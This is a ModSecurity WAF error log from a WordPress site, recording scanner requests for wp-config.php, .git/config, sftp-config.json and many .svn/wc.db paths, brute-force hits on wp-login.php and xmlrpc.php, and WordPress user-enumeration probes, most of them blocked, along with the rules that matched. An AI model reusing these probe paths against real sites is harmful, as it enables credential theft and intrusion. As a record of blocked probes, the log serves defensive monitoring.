[Sat Nov 29 23:06:24.146037 2025] [:error] [pid 62619:tid 62639] [client 34.221.33.242:43760] [client 34.221.33.242] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/wp-config.php"] [unique_id "aSsL8Nk7ZYKT63FfVSWfQgAAAVI"]
[Sat Nov 29 23:06:24.872793 2025] [:error] [pid 32136:tid 32140] [client 34.221.33.242:59910] [client 34.221.33.242] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/composer.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/composer.json"] [unique_id "aSsL8MSj_WSVQM1psKrMsQAAAQI"]
[Sun Nov 30 01:47:53.599953 2025] [:error] [pid 42164:tid 42231] [client 163.172.106.185:45290] [client 163.172.106.185] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 163.172.106.185, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aSsxydip8Nhatsq7KxziFgAAAQk"]
[Sun Nov 30 01:47:58.411687 2025] [:error] [pid 42162:tid 42172] [client 163.172.106.185:54752] [client 163.172.106.185] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 163.172.106.185, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aSsxztePpz4Ije-_Ejr0twAAAIU"], referer: http://vetstars.com.au/wp-login.php
[Sun Nov 30 01:48:02.274447 2025] [:error] [pid 42163:tid 42208] [client 163.172.106.185:57906] [client 163.172.106.185] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aSsx0pnaEs-eGc51wg2WAQAAAM0"], referer: http://vetstars.com.au/wp-login.php
[Sun Nov 30 01:48:03.633473 2025] [:error] [pid 33303:tid 33327] [client 163.172.106.185:57912] [client 163.172.106.185] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 163.172.106.185, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aSsx0_vL3Xz3V8uL8l5t2AAAAZY"], referer: https://vetstars.com.au/wp-login.php?redirect_to=https%3A%2F%2Fvetstars.com.au%2Fwp-admin%2F
[Sun Nov 30 02:27:28.112559 2025] [:error] [pid 33376:tid 33387] [client 93.123.109.7:54688] [client 93.123.109.7] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/config"] [unique_id "aSs7EHpx_7viPEhKF36XDgAAAgg"]
[Sun Nov 30 06:16:57.221891 2025] [:error] [pid 26121:tid 26135] [client 182.44.2.148:43636] [client 182.44.2.148] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aStw2e3yAGZUIB-ACmBMmQAAAcw"]
[Sun Nov 30 12:19:53.782529 2025] [:error] [pid 9374:tid 9384] [client 157.230.37.123:64001] [client 157.230.37.123] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.230.37.123, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aSvF6YEwr5jt_cokVdwkAAAAAwc"]
[Sun Nov 30 12:19:56.520148 2025] [:error] [pid 9694:tid 9720] [client 157.230.37.123:64653] [client 157.230.37.123] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.230.37.123, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aSvF7MNOaRChkzIC_nVAagAAANg"]
[Sun Nov 30 13:06:43.910199 2025] [:error] [pid 9374:tid 9380] [client 157.230.37.123:53710] [client 157.230.37.123] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.230.37.123, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aSvQ44Ewr5jt_cokVdwrFgAAAwM"]
[Sun Nov 30 19:19:18.344106 2025] [:error] [pid 10550:tid 10584] [client 182.44.9.147:36054] [client 182.44.9.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aSwoNul_8Vq2nipf7mFSNgAAAoU"]
[Sun Nov 30 21:16:23.862732 2025] [:error] [pid 10607:tid 10615] [client 34.11.121.181:55344] [client 34.11.121.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.11.121.181, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aSxDp3MxNFmf1l9xA_Gv3QAAAsU"]
[Sun Nov 30 21:16:27.336079 2025] [:error] [pid 10607:tid 10620] [client 34.11.121.181:55344] [client 34.11.121.181] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aSxDq3MxNFmf1l9xA_Gv4QAAAso"]
[Sun Nov 30 21:16:30.021003 2025] [:error] [pid 10607:tid 10623] [client 34.11.121.181:55344] [client 34.11.121.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.11.121.181, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aSxDrnMxNFmf1l9xA_Gv5QAAAs0"]
[Mon Dec 01 00:54:20.699035 2025] [:error] [pid 25124:tid 25153] [client 43.130.116.87:43044] [client 43.130.116.87] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aSx2vFl826mNLYSD9-2zxQAAAEA"]
[Mon Dec 01 01:04:25.256107 2025] [:error] [pid 25124:tid 25157] [client 104.252.191.161:51686] [client 104.252.191.161] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.252.191.161, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/https%3A/vetstars.com.au/xmlrpc.php%3Frsd"] [unique_id "aSx5GVl826mNLYSD9-24kgAAAEQ"]
[Mon Dec 01 01:06:42.282255 2025] [:error] [pid 32520:tid 32529] [client 136.117.72.221:65183] [client 136.117.72.221] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.117.72.221, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aSx5ovvbCMB_T-u6uxlAJgAAA4Q"]
[Mon Dec 01 01:06:44.954192 2025] [:error] [pid 32520:tid 32544] [client 136.117.72.221:65183] [client 136.117.72.221] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aSx5pPvbCMB_T-u6uxlALQAAA5M"]
[Mon Dec 01 01:06:47.317027 2025] [:error] [pid 32520:tid 32545] [client 136.117.72.221:65183] [client 136.117.72.221] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.117.72.221, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aSx5p_vbCMB_T-u6uxlAMgAAA5Q"]
[Mon Dec 01 01:57:11.445151 2025] [:error] [pid 32611:tid 32632] [client 36.111.67.189:60122] [client 36.111.67.189] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aSyFd6_aT7PlMcEPLmkhYwAAABM"]
[Mon Dec 01 02:43:40.769474 2025] [:error] [pid 22995:tid 23021] [client 103.65.237.153:60210] [client 103.65.237.153] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/sftp-config.json"] [unique_id "aSyQXKhgK6YGad0ApM9jwQAAARc"]
[Mon Dec 01 02:43:41.101485 2025] [:error] [pid 22995:tid 23014] [client 103.65.237.153:60364] [client 103.65.237.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.vscode/sftp.json"] [unique_id "aSyQXahgK6YGad0ApM9jwgAAARA"]
[Mon Dec 01 08:45:58.001988 2025] [:error] [pid 30619:tid 30690] [client 43.166.242.189:33242] [client 43.166.242.189] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aSzlReuJ1i09APMkb-6ovwAAAE4"]
[Mon Dec 01 12:32:39.175986 2025] [proxy_fcgi:error] [pid 60651:tid 60662] [client 103.4.122.14:40314] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Mon Dec 01 12:32:54.236194 2025] [proxy_fcgi:error] [pid 7182:tid 7194] [client 103.4.122.14:40406] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Mon Dec 01 14:14:20.307403 2025] [:error] [pid 7182:tid 7195] [client 104.164.173.36:10358] [client 104.164.173.36] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.164.173.36, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/https%3A/vetstars.com.au/xmlrpc.php%3Frsd"] [unique_id "aS0yPH9TcBzcTIZoEPh7ywAAAMo"]
[Mon Dec 01 19:37:18.143484 2025] [autoindex:error] [pid 3247:tid 3288] [client 139.59.37.180:62876] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Mon Dec 01 19:49:30.496077 2025] [:error] [pid 3384:tid 3395] [client 213.21.239.4:57284] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/cms/.svn/wc.db"] [unique_id "aS2Ayorlvm8bC96s6ZFP5gAAAIk"]
[Mon Dec 01 19:49:30.496794 2025] [:error] [pid 5120:tid 5129] [client 213.21.239.4:57322] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/app/.svn/wc.db"] [unique_id "aS2Ayj5X7_hfFhnUCkLSEQAAAUc"]
[Mon Dec 01 19:49:30.497837 2025] [:error] [pid 3384:tid 3403] [client 213.21.239.4:57286] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/vetstars../wc.db"] [unique_id "aS2Ayorlvm8bC96s6ZFP5QAAAJE"]
[Mon Dec 01 19:49:30.501466 2025] [:error] [pid 3384:tid 3388] [client 213.21.239.4:57420] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/demo/.svn/wc.db"] [unique_id "aS2Ayorlvm8bC96s6ZFP5wAAAII"]
[Mon Dec 01 19:49:30.502965 2025] [:error] [pid 3384:tid 3387] [client 213.21.239.4:57378] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/css../.svn/wc.db"] [unique_id "aS2Ayorlvm8bC96s6ZFP6AAAAIE"]
[Mon Dec 01 19:49:30.504069 2025] [:error] [pid 5120:tid 5123] [client 213.21.239.4:57208] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/wc.db"] [unique_id "aS2Ayj5X7_hfFhnUCkLSEgAAAUE"]
[Mon Dec 01 19:49:30.504433 2025] [:error] [pid 3384:tid 3410] [client 213.21.239.4:57210] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/developer/.svn/wc.db"] [unique_id "aS2Ayorlvm8bC96s6ZFP6QAAAJg"]
[Mon Dec 01 19:49:30.505853 2025] [:error] [pid 3246:tid 3255] [client 213.21.239.4:57214] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/aomanalyzer/.svn/wc.db"] [unique_id "aS2AylkT8fezoNl7qjd_QgAAAEY"]
[Mon Dec 01 19:49:30.506873 2025] [:error] [pid 3384:tid 3400] [client 213.21.239.4:57344] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/amphtml/.svn/wc.db"] [unique_id "aS2Ayorlvm8bC96s6ZFP6gAAAI4"]
[Mon Dec 01 19:49:30.509266 2025] [:error] [pid 5120:tid 5127] [client 213.21.239.4:57312] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/application/.svn/wc.db"] [unique_id "aS2Ayj5X7_hfFhnUCkLSEwAAAUU"]
[Mon Dec 01 19:49:30.509719 2025] [:error] [pid 3384:tid 3402] [client 213.21.239.4:57412] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/blog/.svn/wc.db"] [unique_id "aS2Ayorlvm8bC96s6ZFP6wAAAJA"]
[Mon Dec 01 19:49:30.511398 2025] [:error] [pid 3384:tid 3398] [client 213.21.239.4:57244] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/build/.svn/wc.db"] [unique_id "aS2Ayorlvm8bC96s6ZFP7AAAAIw"]
[Mon Dec 01 19:49:30.511925 2025] [:error] [pid 5120:tid 5144] [client 213.21.239.4:57242] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/blog/wp-content/themes/.svn/wc.db"] [unique_id "aS2Ayj5X7_hfFhnUCkLSFAAAAVU"]
[Mon Dec 01 19:49:30.512996 2025] [:error] [pid 3307:tid 3331] [client 213.21.239.4:57246] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/assets../.svn/wc.db"] [unique_id "aS2AykhV_0w1hrv72n78rQAAARY"]
[Mon Dec 01 19:49:30.515213 2025] [:error] [pid 3307:tid 3322] [client 213.21.239.4:57264] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/dev/.svn/wc.db"] [unique_id "aS2AykhV_0w1hrv72n78rgAAAQ0"]
[Mon Dec 01 19:49:30.515666 2025] [:error] [pid 3307:tid 3326] [client 213.21.239.4:57304] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/a/.svn/wc.db"] [unique_id "aS2AykhV_0w1hrv72n78rwAAARE"]
[Mon Dec 01 19:49:30.517141 2025] [:error] [pid 5158:tid 5170] [client 213.21.239.4:57360] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/beta/.svn/wc.db"] [unique_id "aS2AylsnIOgHXYZw9rYy0AAAAYo"]
[Mon Dec 01 19:49:30.518005 2025] [:error] [pid 3307:tid 3314] [client 213.21.239.4:57400] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/backup/.svn/wc.db"] [unique_id "aS2AykhV_0w1hrv72n78sAAAAQU"]
[Mon Dec 01 19:49:30.523951 2025] [:error] [pid 3384:tid 3408] [client 213.21.239.4:57238] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/api/.svn/wc.db"] [unique_id "aS2Ayorlvm8bC96s6ZFP7gAAAJY"]
[Mon Dec 01 19:49:30.525232 2025] [:error] [pid 5158:tid 5160] [client 213.21.239.4:57274] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/common/.svn/wc.db"] [unique_id "aS2AylsnIOgHXYZw9rYy0QAAAYA"]
[Mon Dec 01 19:49:30.526626 2025] [:error] [pid 3307:tid 3318] [client 213.21.239.4:57336] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/database/.svn/wc.db"] [unique_id "aS2AykhV_0w1hrv72n78sQAAAQk"]
[Mon Dec 01 19:49:30.526961 2025] [:error] [pid 3384:tid 3389] [client 213.21.239.4:57268] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/AWSconf.svn/wc.db"] [unique_id "aS2Ayorlvm8bC96s6ZFP7QAAAIM"]
